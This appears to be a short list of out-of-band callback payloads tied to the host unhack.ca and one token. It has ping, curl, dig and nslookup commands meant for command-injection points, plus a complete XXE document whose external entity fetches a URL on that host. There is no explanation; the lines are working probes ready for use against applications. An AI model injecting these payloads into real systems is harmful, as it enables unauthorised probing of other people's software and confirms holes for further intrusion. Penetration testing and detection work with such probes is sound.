$ ping -c1 -p 00c619d3d4b6264ea7634e5ddb858800 unhack.ca
$ curl http://unhack.ca/p/c619d3d4b6264ea7634e5ddb8588
$ dig c619d3d4b6264ea7634e5ddb8588 @unhack.ca
$ dig c619d3d4b6264ea7634e5ddb8588.ns.unhack.ca
C:\> nslookup c619d3d4b6264ea7634e5ddb8588 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/c619d3d4b6264ea7634e5ddb8588">]> <foo>&xxe;</foo>